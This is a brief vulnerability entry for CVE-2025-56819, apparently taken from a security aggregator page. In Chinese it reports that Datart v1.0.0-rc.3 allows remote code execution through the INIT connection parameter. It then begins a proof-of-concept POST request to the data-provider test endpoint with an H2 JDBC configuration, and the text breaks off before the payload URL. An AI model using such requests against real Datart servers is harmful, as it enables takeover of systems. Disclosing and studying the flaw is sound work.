CVE-2025-56819

CVE-2025-56819 Datart v.1.0.0-rc.3 中的一个问题允许远程攻击者通过 INIT 连接参数执行任意代码。 root@kitploit: POST /api/v1/data-provider/test HTTP/1.1 Host: test.com:8080 Content-Type: application/json Content-Length: 520 "name": "jdbc-data-provider", "type": "JDBC", "properties": "dbType": "H2", "url":...